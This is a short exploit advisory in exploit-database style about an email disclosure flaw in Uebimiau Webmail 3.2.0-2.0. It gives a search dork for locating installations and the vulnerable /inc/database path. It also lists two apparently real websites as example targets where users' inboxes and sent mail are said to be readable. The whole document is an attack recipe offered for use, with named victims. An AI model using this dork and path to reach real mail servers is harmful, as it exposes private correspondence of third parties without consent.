# Exploit Title: Uebimiau Webmail v3.2.0-2.0 | Email Disclosure # Date: 09 March 2010 # Author: Z3r0c0re, R4vax # Software Link: http://www.uebimiau.org/download.php # Version: 3.2.0-2.0 # Tested on: php # Code : ********************************************************* * Uebimiau Webmail Email Disclosure * ********************************************************* * Examples: * * E.g.1 http://www.rufino.eti.br/webmail/inc/database/ * * E.g.2 http://mail.siens.com.br/webmail3/inc/database/* ********************************************************* * D0rk: * * "Uebimiau Webmail v3.2.0-2.0" * ********************************************************* * Vuln: * * http://[host]/[path]/inc/database * ********************************************************* * Desc: * * accessing these directores lets you view the users- * * inboxes and sent emails and any other folders the- * * user may have. * *********************************************************